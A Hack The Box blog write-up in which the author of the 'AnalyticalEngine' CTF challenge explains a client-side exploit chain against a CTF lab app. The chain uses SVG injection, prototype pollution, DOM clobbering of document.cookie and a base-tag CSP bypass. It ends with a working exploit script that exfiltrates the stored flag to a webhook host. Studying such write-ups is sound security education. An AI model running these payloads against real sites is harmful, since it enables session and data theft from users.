Write-Ups

25 min read

UNI CTF 2021: A Complex Web Exploit Chain & a 0day to Bypass an Impossible CSP

In this write-up we'll go over the solution for AnalyticalEngine, a hard client-side web challenge from HTB UNI CTF Quals 2021.

Strellic avatar

Strellic,
Dec 22
2021

Hello everyone! My name is Strellic, member of team WinBARs on HTB, and I wrote the guest web challenge "AnalyticalEngine" for this year's HackTheBox University CTF Qualifiers. The challenge was to hack a theoretical general-purpose mechanical computer simulator website that only ran using punch cards. 

This year's Uni CTF had a steampunk theme, and while researching steampunk ideas for inspiration, I ended up reading about Charles Babbage and his theoretical "Analytical Engine" on the Wikipedia article for Steampunk, which gave me inspiration for this challenge.

AnalyticalEngine was the hardest web challenge in the qualifier, only getting one solve two hours before the end of the CTF. In this blog post, I’ll be giving an overview of as well as my approach to solving the challenge.

Challenge Overview

Challenge Info

Background

AnalyticalEngine was a web challenge, and it was just a simple site that allowed you to run custom punch cards for a JavaScript simulation of Charles Babbage's theoretical Analytical Engine. The JavaScript simulator used the “analytical-engine” npm package, which you can find on GitHub here. To solve the challenge, players had to find an XSS vulnerability in the analytical engine implementation, and then apply some complex DOM clobbering and prototype pollution to bypass the strict CSP on the site and gain JS execution to steal the flag.

“analytical-engine” npm package

The challenge was written as a NodeJS + Express web app. There was a large input field where you could input a custom punch card, and an execute button where your punch card would run and view the output.

“analytical-engine” npm package

The site lets you store and load punch cards, and checking out bot.js shows us that the flag is actually stored in the localStorage of the site, which the site uses to store saved punch cards:

await page.evaluate((flag) => {
    localStorage.saved = JSON.stringify({ "Default": { "flag": flag } });
}, FLAG);

So, the goal is to either leak all of the stored cards or gain JavaScript execution on the page to obtain the flag.

Here’s an example of a custom punch card you can run:

N0 3
N1 5
+
L1
L0
P

This example card sets two variables to 3 and 5, adds them together, and then prints the result.

log

The analytical-engine npm package also supported drawing SVG curves, and this functionality was the main vulnerability the players were supposed to exploit in the punch card simulator.

Here, in the analytical-engine npm package source, there was a vulnerability where you could get XSS by drawing a malicious curve to the screen. 

Thankfully, besides writing two lines of punch card code to draw a malicious curve, being able to write punch cards in this weird setup wasn’t really necessary to solve the challenge; the real difficulty came from exploiting the complex setup for interactions between the “front-end” and the “engine”.

I think understanding the source code and how the application works are pretty important to understand the solution, so this next part where I describe the setup is pretty long.

Source code analysis

From auditing the source code, you can see that the website works via iframe postMessage communication. The main page has an iframe tag:

<iframe src="/engine" id="engine" class="d-none" sandbox="allow-scripts allow-same-origin"></iframe>

which is referenced in JavaScript and is sent messages via postMessage. The site works by loading all of the analytical engine code inside of the /engine iframe, and the main page where you interact with the site just sends and receives messages from this iframe.

The /engine URL is the page with the custom logic for running & executing punch cards. In the /engine page, bundle.js and engine.js are embedded:

<script src="assets/js/bundle.js" nonce="{{nonce}}"></script>
<script src="assets/js/engine.js" nonce="{{nonce}}"></script>

and the hint at the top of engine.js says that bundle.js is just NodeJS code ran through browserify:

/*
// browerserify code running in bundle.js
// provided for your convenience :>

const AE = require('analytical-engine');

window.run = (cards) => {
    let inf = new AE.Interface();
    inf.submitProgram(cards);
    inf.runToCompletion();
    return inf;
};
*/

So, bundle.js was just a client-side port of the analytical-engine npm module, and engine.js uses window.run() to run punch cards.

Players needed to gain JavaScript execution or exfiltrate the saved punch cards to get the flag, but there was a very strict CSP:

app.use((req, res, next) => {
    res.locals.nonce = crypto.randomBytes(16).toString("hex");
    res.setHeader("Content-Security-Policy", `
        default-src 'self';
        style-src
            'self'
                        https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css
            https://fonts.googleapis.com/css
            https://use.fontawesome.com/releases/v5.12.0/css/all.css;
        font-src
            https://fonts.gstatic.com/s/
            https://use.fontawesome.com/releases/v5.12.0/webfonts/;
        connect-src 'self' https://raw.githubusercontent.com/cakenggt/;
        object-src 'none';
        base-uri 'self';
        script-src 'nonce-${res.locals.nonce}' 'unsafe-inline';
    `.trim().replace(/\s+/g, " "));
    res.setHeader("X-Frame-Options", "SAMEORIGIN");
    if(req.cookies.debug) res.locals.debug = req.cookies.debug;
    if(req.session.msg) {
        res.locals.msg = req.session.msg;
        req.session.msg = null;
    }
    next();
});

which made getting arbitrary JS execution and bypassing this CSP very difficult.

The front-end page embeds main.js, which is the first half of the postMessage communication. It has a strict check that only allows messages from the engine frame:

window.onmessage = (e) => {
    let {
        data,
        origin,
        source
    } = e;

    if (origin !== location.origin || source !== $("#engine").contentWindow) {
        return;
    }

    // snip

which looks pretty strong. The communication between the two pages happens by sending packets with specific “types” back and forth. The main page implemented the following message types:

run: gets and displays the output from the engine
msg: alerts a message
load: loads a card sent by the engine
download: loads a card sent by the engine, and then sends the run type
cookie: sets the cookie
list: updates the list of saved cards

The engine page embeds engine.js, which was the second half of the postMessage communication. Its check was weaker than the front-end page's check:

window.onmessage = async (e) => {
    let {
        data,
        origin
    } = e;

    let isDebug = $("#developerMode") && $("#developerMode").innerHTML === "1";

    if (!isDebug && origin !== location.origin) {
        return;
    }

    // snip

allowing communications from an arbitrary source if the debug flag was set, which is only set if the element with ID developerMode has innerHTML "1".

The engine page implemented the following message types:

load: loads a card from CardStorage
list: lists cards
save: saves a new card
download: downloads a card from a URL
run: runs a card using window.run()
debug: sends a message to the parent to set the debug cookie to “1”, enabling debug on the next load, and refreshes the page

So, debug mode is set (aka the developerMode element is set) whenever the cookie is set to 1. Looking at how this is implemented on the server, we see in views/engine.hbs:

<!DOCTYPE html>
<html>
    <head>
    </head>
    <body>
        {{#if debug}}
        <template id="developerMode">{{{debug}}}</template>
        {{/if}}
        <div id="curve"></div>
        <script src="assets/js/bundle.js" nonce="{{nonce}}"></script>
        <script src="assets/js/engine.js" nonce="{{nonce}}"></script>
    </body>
</html>

where “debug” is just the value in the debug cookie. It checks for some debug parameter and it directly outputs its unescaped value when rendering this template. So, setting the cookie gives us XSS, but we don't know of a way to set the cookie on the admin as of yet, and this still doesn’t help us bypass the CSP.

Cards are saved & loaded in localStorage, and are accessed through this CardStorage class:

class CardStorage {
    constructor() { this.cards = {} };
    addCard(folder, name, card) {
        if(!this.cards[folder]) this.cards[folder] = {};
        this.cards[folder][name] = () => card;
    }
    addCardFromURL(folder, name, url) {
        if(!this.cards[folder]) this.cards[folder] = {};
        this.cards[folder][name] = async () => await download(url);
    }
    async getCard(folder, name) {
        return await this.cards?.[folder]?.[name]?.();
    }
    getAllCards() {
        return Object.fromEntries(Object.keys(this.cards).map(f => [f, Object.keys(this.cards[f])]));
    }
    save() {
        let temp = Object.assign({}, this.cards);
        delete temp["GitHub Cards"];
        localStorage.saved = JSON.stringify(temp, (k, v) => typeof v === "function" ? v() : v);
    }
    load() {
        let saved = JSON.parse(localStorage.saved);
        for(let folder in saved) {
            for(let card in saved[folder]) this.addCard(folder, card, saved[folder][card]);
        }
    }
}

which definitely is weird. It stores each card as a new function and calls it, returning the output when run. It looks like it does this so that cards from URLs can be added, and only downloaded when the card is loaded. See if you can find the vulnerability in this code!

Now for the entrypoint:

The front page had code that ran on page load that checked the URL for a card parameter, then downloaded and ran the card.

window.onload = () => {
    let params = new URLSearchParams(location.search);
    if (params.get("card")) {
        let base = `https://raw.githubusercontent.com/cakenggt/analytical-engine-libraries/master/Library/`;
        let card = params.get("card");
        let url = new URL(base + card);

        if (!url.pathname.startsWith(new URL(base).pathname) || url.hostname !== "raw.githubusercontent.com") {
            alert(`[ERROR] Blocked autoload for card ${url}`);
            return;
        }

        $("#engine").contentWindow.postMessage({
            type: "download",
            url: url.toString()
        }, location.origin);
    }

    $("#engine").contentWindow.postMessage({
        type: "list"
    });
};

But, it checks whether the card comes from a specific page on GitHub, and won't allow any other cards to load. Since we don't have access to that GitHub repository, it effectively restricts what cards we can autoload.

The back-end server also implements a 404 route and an error route:

app.get('*', (req, res) => {
    res.set("Content-Type", "text/plain");
    res.status = 404;
    res.send(`Error: ${req.originalUrl} was not found`);
});

app.use((err, req, res, next) => {
    res.set("Content-Type", "text/plain");
    res.send(`Error: ${err.message}`);
});

There’s another bug in this code, see if you can find it.

And since we’re looking to see whether we can set a custom cookie to get XSS, this section in the engine code looks pretty suspicious:

const getCookie = (name) => {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
};

// snip
window.onmessage = async (e) => {
    let {
        data,
        origin
    } = e;

    // snip

    switch (type) {
        case "debug":
            window.parent.postMessage({
                type: "cookie",
                cookie: `debug=${getCookie("debug") || "1"}`
            }, location.origin);
            setTimeout(() => window.parent.location.reload(), 1000);
            break;

This is the only place where the cookie type is sent to the front-end in the engine code. If we send a “debug” message to the engine, it tells the parent to set the “debug” cookie to the current value of the cookie, or “1” if it doesn’t exist.

While there is more code that we glossed over, that was basically all the code you needed to solve the challenge. Can you think of a way to break into the site and bypass CSP with all the code we’ve seen so far?


Well if you can’t, don’t worry - most players weren’t able to either. This was supposed to be a very difficult challenge using some fairly unknown techniques. But now that you know everything about the challenge, feel free to try and solve this challenge yourself before reading the solution!

Most teams that talked about this challenge said that they found the vulnerability in the analytical-engine package, which was fairly easy to find. However, most everyone got stuck at bypassing the very strict CSP, which was basically meant to be the “true” challenge, and everything else before that was just prep to set up the background.

Bypassing URL check with path traversal

First, we want to see if we can break the URL checking on the autoload code since this is basically the only way we can communicate with the site at first (since both the front-end and engine don't respond to our messages initially).

Here’s the autoload code:

    let params = new URLSearchParams(location.search);
    if (params.get("card")) {
        let base = `https://raw.githubusercontent.com/cakenggt/analytical-engine-libraries/master/Library/`;
        let card = params.get("card");
        let url = new URL(base + card);

        if (!url.pathname.startsWith(new URL(base).pathname) || url.hostname !== "raw.githubusercontent.com") {
            alert(`[ERROR] Blocked autoload for card ${url}`);
            return;
        }

        $("#engine").contentWindow.postMessage({
            type: "download",
            url: url.toString()
        }, location.origin);
    }

So, it takes the “card” URL parameter, appends it to “https://raw.githubusercontent.com/cakenggt/analytical-engine-libraries/master/Library/”, and checks whether the card URL still starts with “https://raw.githubusercontent.com/cakenggt/analytical-engine-libraries/master/Library/”. So, we can't do anything with path traversal to change the folder it loads from since the URL method will just normalize the path, fixing up our pathname which will then be different. Or can we?

Check out this URL:
https://raw.githubusercontent.com/cakenggt/analytical-engine-libraries/master/Library/..%2f..%2f..%2f../strellic/xss/main/pwn.js

JavaScript still thinks the URL starts with the correct pathname, and it technically does!

However, GitHub normalizes this path and URL decodes the %2f to a forward slash, then redirects to “/strellic/xss/main/pwn.js”, returning the raw data at this new folder. So, using this method, we can load punch cards from anywhere on GitHub. We will have to double encode our URL though so that the browser loads it correctly.

So, a URL like “/?card=..%252f..%252f..%252f..%252f..%252f..%252f/your_user/analytical_engine/main/pwn.ae” will bypass the URL check and load a card from your repository.

But still, we are stuck to loading and running punch cards, which doesn't really give us much power. We want to be able to change the debug cookie to get XSS, so we want to be able to forge postMessage requests, which means we need the debug flag to be set.

Can we do this by just loading punch cards? Well…

Content injection in analytical-engine library

Remember that we found a vulnerability in the SVG drawing in the analytical-engine package! 

For example, this card:

        Iteration variable
N000 −10000000000000000000000000

        Step
N001 100000000000000000000000

        Number of steps
N002    201

        Constants
N003    1
N004    0

+
L000
DX
×
L000
L000
>25
S005Run example
L000
L005
>25
DY
D+
+
L000
L001
S000
−
L002
L003
S002
L004
L002
CB?24

outputs the nice curve:

curve

This curve is shown by having the engine generate an SVG, and then putting it into innerHTML.

        case "run":
            let results = window.run(await fixup(data.card));
            let curve = results.curveDrawingApparatus.printScreen();
            if (curve.length !== 71) { // empty svg
                $("#curve").innerHTML = curve;
                results.curve = $("#curve").querySelector("svg").outerHTML;
            }
            window.parent.postMessage({
                type,
                results
            }, location.origin);
            break;

So, using the vulnerability in the curve drawing apparatus, we can inject HTML onto the site! The vulnerable segment in the curve drawing code is here:

CurveDrawingApparatus.prototype.printScreen = function() {
  let svg = `<svg width="${this.cwid}" height="${this.chgt}" xmlns="http://www.w3.org/2000/svg">`;

  //  Replay the display list, drawing vectors on screen
  var opath = false;
  var ncol;
  for (var i = 0; i < this.displayX.length; i++) {
    if (this.displayX[i] === null) {
      if ((ncol = this.displayY[i].match(/^pen:\s*(.*)\s*$/))) {
        this.currentPen = ncol[1];
      }
      if (opath) {
        svg += `" />`;
      }
      opath = false;
    } else {
      if (!opath) {
        svg += `<polyline fill="none" stroke="${this.currentPen}" stroke-width="1" points="`;
      }
      svg += `${this.displayX[i]},${this.displayY[i]} `;
      opath = true;
    }
  }

Since this doesn't escape the values correctly, if we can change the curve to have a custom width/height, coordinate, or stroke color, we might be able to get XSS.

And working through the punch card implementation, you should be able to find that you can change the stroke color using a custom punch card command. So, if you load a card like this:

DC"></svg><b>test</b><svg>
D+

The stroke color will change, and “this.currentPen” will be set to our data, escaping out of the SVG and placing a new “<b>” tag in the /engine page. We now have XSS!

Using this XSS, we can enable debug mode without using a cookie by injecting the developerMode HTML tag that it’s looking for, allowing us to send custom messages to the engine.

Sadly, this is where I heard most players got stuck, right before the challenge starts to get really fun and complex. I know people were trying CSP bypasses with iframes and such, but none of those would have worked - the only way JavaScript could run is if you could satisfy the “script-src” CSP directive and load a script with a nonce.

The CSP bypass that comes next was the real “start” of the challenge and probably could have been a whole challenge on its own. Not many figured out what to do, and this makes sense - the next part, bypassing the CSP, was intentionally made very difficult. I don’t think anyone besides the solving team made any progress past this point. But anyway, let’s see what we can do...

The strict CSP still makes it impossible to do anything fun. Here's the CSP again:

default-src 'self';
style-src 'self' https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css https://fonts.googleapis.com/css https://use.fontawesome.com/releases/v5.12.0/css/all.css;
font-src https://fonts.gstatic.com/s/ https://use.fontawesome.com/releases/v5.12.0/webfonts/;
connect-src 'self' https://raw.githubusercontent.com/cakenggt/;
object-src 'none';
base-uri 'self';
script-src 'nonce-NONCE';

Google's CSP evaluator says there are no misconfigurations in this CSP, and since we can't predict the nonce, we can't gain JS execution. But is this CSP really secure?

Utilising base-uri hijacking for reflected XSS through broken error route handling

If you’ve spent a lot of time dealing with CSP and investigating CSP bypasses like me, you might immediately notice the weird “base-uri 'self';” directive - the rest make sense but this one is a little weird. The base-uri directive controls the URL which can be used in a document's <base> element, basically changing the base URL for all relative URLs in a document.

Is this vulnerable? Well, checking the server-side code, yes!

app.get('*', (req, res) => {
    res.set("Content-Type", "text/plain");
    res.status = 404;
    res.send(`Error: ${req.originalUrl} was not found`);
});

There's a big mistake in this code: “res.status” is actually a function. To actually set this to be a 404, “res.status(404)” or “res.statusCode = 404” would be correct. So, this page actually returns a “200 OK” instead!

So, if we cURL a URL which should be a 404 and check the status code, we see:

bryce@server:~$ curl 178.62.19.68:32223/nonexistent_page -v
*   Trying 178.62.19.68:32223...
* TCP_NODELAY set
* Connected to 178.62.19.68 (178.62.19.68) port 32223 (#0)
> GET /nonexistent_page HTTP/1.1
> Host: 178.62.19.68:32223
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Content-Security-Policy: default-src 'self'; style-src 'self' https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css http
s://fonts.googleapis.com/css https://use.fontawesome.com/releases/v5.12.0/css/all.css; font-src https://fonts.gstatic.com/s/ https://use.fon
tawesome.com/releases/v5.12.0/webfonts/; connect-src 'self' https://raw.githubusercontent.com/cakenggt/; object-src 'none'; base-uri 'self';
script-src 'nonce-fb270cd665898d538375b92d336db912' 'unsafe-inline';
< X-Frame-Options: SAMEORIGIN
< Content-Type: text/plain; charset=utf-8
< Content-Length: 38
< ETag: W/"26-H1+rQ+WsNajQ+ykBzjjGgbY70yY"
< Date: Tue, 23 Nov 2021 06:08:03 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
* Connection #0 to host 178.62.19.68 left intact
Error: /nonexistent_page was not found

We see a 200 OK! And, it outputs our direct URL to the output it sends! So, if we were to visit a URL like “/x/;console.log(1)//”, we would get this response from the server:

Error: /x/;console.log(1)// was not found

which is actually valid JS code! 

valid js

(the Error: part is part of a JS goto statement, and the “X-Content-Type-Options: nosniff” header is not present, so this text/plain response can be loaded as the src for a <script> tag)

We can’t just inject a script tag with this URL since script tags still need to satisfy CSP, so they need a nonce which we can’t predict. But, since there is a “base-uri 'self';” directive, we can inject a <base> tag to point the base URL for the other script tags on the page, which DO have a nonce on them, to a custom payload!

For example, if we inject <base href="/x/;alert(1)//"> onto the engine page, when the engine page try to load “bundle.js” or “engine.js”, it actually loads “/x/;alert(1)//bundle.js” (since these two scripts are loaded relative to the base tag), and this URL responds with:

Error: /x/;alert(1)//bundle.js was not found

And, since this script is loaded with the correct script nonce, CSP is bypassed, so this pops an alert! JS execution obtained! Except…

The .js files are already loaded before we can inject our <base> tag, so this doesn't work since their paths aren't changed. So injecting this HTML tag through the curve drawing bug doesn’t help us since the scripts have already loaded by then. We have DOM XSS, but we really need reflected XSS instead.

But, remember, we can have reflected XSS if we could somehow get the debug cookie to a custom value. If we are able to set the custom debug cookie to our malicious base tag, we can get this attack to work.

Can we do that? Well, remember, the only place where the cookie is changed in the code is on the front-end page when it receives a message with the type “cookie”. We can't forge messages to the front-end page, so let's look at where the engine page sends a “cookie” message.

The engine page only sends a message with type “cookie” in this piece of code:

        case "debug":
            window.parent.postMessage({
                type: "cookie",
                cookie: `debug=${getCookie("debug") || "1"}`
            }, location.origin);
            setTimeout(() => window.parent.location.reload(), 1000);
            break;

So, if we send a "debug" message to the engine, it will tell the parent to set the debug cookie to its current value, or if it's empty, the string "1".

Here's the getCookie function again:

const getCookie = (name) => {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
}

Googling this function, it just seems to be ripped straight from a StackOverflow article on how to get the current value of a cookie. 

It seems we've hit a catch-22: we need to set the cookie to a custom value, but the only way to set the cookie to that custom value is for getCookie("debug") to return the value that we need. So to set the custom debug cookie to something we want, we need for the custom debug cookie to already be set to our value.

This doesn't seem possible. Well, figuring out how to break this was the core of the challenge. Exploiting this requires knowledge of the “fairly unknown technique” I talked about before. So how do we do this?

Client-side prototype pollution and DOM clobbering with HTML named entities

Well, there's one last piece of the code that we haven't really looked at - the CardStorage.

class CardStorage {
    constructor() { this.cards = {} };
    addCard(folder, name, card) {
        if(!this.cards[folder]) this.cards[folder] = {};
        this.cards[folder][name] = () => card;
    }
    addCardFromURL(folder, name, url) {
        if(!this.cards[folder]) this.cards[folder] = {};
        this.cards[folder][name] = async () => await download(url);
    }
    async getCard(folder, name) {
        return await this.cards?.[folder]?.[name]?.();
    }
    getAllCards() {
        return Object.fromEntries(Object.keys(this.cards).map(f => [f, Object.keys(this.cards[f])]));
    }
    save() {
        let temp = Object.assign({}, this.cards);
        delete temp["GitHub Cards"];
        localStorage.saved = JSON.stringify(temp, (k, v) => typeof v === "function" ? v() : v);
    }
    load() {
        let saved = JSON.parse(localStorage.saved);
        for(let folder in saved) {
            for(let card in saved[folder]) this.addCard(folder, card, saved[folder][card]);
        }
    }
}

It should hopefully be obvious that there's some form of prototype pollution here. If we run addCard("__proto__", "property", "value"), ({})["property"] will be polluted to a function that returns the string "value” when ran. This is a very weird kind of prototype pollution - rather than polluting properties with JSON values like in most other challenges, we can actually pollute properties with functions that return a custom value. Can we use this in some way?

Well, the key here is to realize that we can pollute the “toString()” method! If we run addCard("__proto__", "toString", "value"), then getting the string representation of any object that doesn't have a built-in “toString” method should return our custom value!

Can we use this to break the “getCookie” function? Well, not really, since getCookie uses “document.cookie” which is a string, and as such, we can't override its “toString” property since it doesn’t inherit that from Object. This would only work if “document.cookie” wasn't a string, but some other object instead...

So here’s the question of the hour - can we replace “document.cookie”, changing it to a string to an object without JavaScript execution? If we can do this, we can solve the challenge. 

Well, while researching techniques for another web challenge I was solving, I came across something called “named properties” in the HTML spec. The HTML spec here describes “named properties”, where certain HTML elements can be referenced by their name as a property of the document object.

From the spec:

The Document interface supports named properties. The supported property names of a Document object document at any moment consist of the following, in tree order according to the element that contributed them, ignoring later duplicates, and with values from id attributes coming before values from name attributes when the same element contributes both:

- The value of the name content attribute for all exposed embed, form, iframe, img, and exposed object elements that have a non-empty name content attribute and are in a document tree with document as their root;

- The value of the id content attribute for all exposed object elements that have a non-empty id content attribute and are in a document tree with document as their root;

- The value of the id content attribute for all img elements that have both a non-empty id content attribute and a non-empty name content attribute, and are in a document tree with document as their root.

 

So, the first point tells us that for any exposed embed, form, iframe, img, or exposed object element, the value of the “name” attribute will be a property of the Document object.

Here’s a small example:

iframe

As you can see in this image, if we have an img tag on the page with the name attribute set to “test”, “document.test” now refers to this HTML element. As you might now have guessed, it just so happens that we can use this technique to override the “document.cookie” variable with an HTML element!

iframe

This is a version of DOM clobbering that not many people know about. I’m sure many web players know that you can DOM clobber undefined variables in the window object by injecting HTML tags, but I haven’t seen this kind of DOM clobbering in a CTF yet. And, none of the players I asked about this technique knew you could DOM clobber to redefine variables in the document object.

And this powerful technique doesn’t just work on “document.cookie”, it also works on other document properties like “document.body”,"document.children", and even methods in the Document interface like "document.querySelector"!

So now, if we replace “document.cookie” with an HTML element through this advanced DOM clobbering technique, and prototype pollute “toString”, what happens?

Since HTML elements don't have a “toString” representation by default, our custom prototype polluted one will take effect instead. Looking at the getCookie method:

const getCookie = (name) => {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
}

The line where value is instantiated uses string templating to get “document.cookie” into a string to be split. This runs “document.cookie.toString()” internally, returning our custom prototype polluted value! This is the reason why I used this specific getCookie method other than other ones since they relied on string methods like “String.prototype.match” on the “document.cookie” variable which wouldn’t have existed if it was an HTML element.

Here’s a simple example to show how this works:

Object.prototype.toString = () => "test"; // pollute Object toString
console.log(`${{}}`); // outputs: test
console.log(`${document.body}`); // outputs: test
document.write("<img name=cookie />"); // clobbers document.cookie with an image tag
console.log(`${document.cookie}`); // outputs: test

So, we can get the “getCookie” method to use our custom polluted value, have "getCookie("debug")” to return our payload, and then have it actually send the cookie over to the front-end to set it. Then, when the window loads, our custom base tag will be injected, changing the relative path of the scripts to our custom payload, bypassing the CSP since the nonce is valid, running our arbitrary JS, and letting us exfiltrate the flag.

So now, the attack path is clear:

1. Create a custom punch card that enables debug mode and clobbers “document.cookie”

2. Use the GitHub path encoding trick to have it load our custom card from a repo we control

3. Now that debug mode is on and we can communicate with the engine, pollute the “toString” method with our custom base tag that changes the relative URL

4. Send the "debug" message so our new cookie is applied

5. Reload the page to get JS execution and steal the flag!

If you do all this correctly, you should get the flag!

flag

Final Exploit Script

Here’s my final exploit script:

<!DOCTYPE html>
<html>
    <body>
        <script>
            const sleep = (m) => new Promise(r => setTimeout(r, m));
            const pwn = async () => {
                let href = `/x/;window.parent.open('https://webhook/'+JSON.parse(localStorage.saved).Default.flag);//`.replaceAll(';', encodeURIComponent(';'));
                let card = `debug=</template><base href="${href}" /><template>`;
                let w = window.open("http://localhost/?card=..%252f..%252f..%252f..%252f..%252f..%252f/strellic/some_github/pwn.ae");
                await sleep(1500);
                w.frames[0].postMessage({type: "save", folder: "__proto__", name: "toString", card}, "*");
                await sleep(1000);
                w.frames[0].postMessage({type: "debug"}, "*");
                await sleep(1000);
                w.location = "http://localhost";
            };
            pwn();
        </script>
    </body>
</html>

Conclusion

If you made it this far, thank you for reading! I’d like to thank the HTB staff for letting me write this challenge for HTB Uni CTF, it was a lot of fun. Many thanks as well to all the players as well who had to struggle with this nightmare challenge :^)

This challenge takes some inspiration from another nightmare challenge made by terjanq and NDevTK named “soXSS”, which was another fun web challenge I highly recommend. This gave me the inspiration for both the two-way postMessage communication, and the document.cookie DOM clobber, which came about while investigating and failing to find vulns in DOMPurify for their challenge. So, shoutouts to them; you can find their challenge here

I hope you enjoyed reading and learned a lot along the way. If you have any questions about this challenge or anything else, feel free to DM me on Discord at Strellic#2507. Check out my blog here if you want to see some explanations of other challenges I wrote/solved.

Also, follow me on Twitter :)

Thanks for reading!

Hack The Blog

The latest news and updates, direct from Hack The Box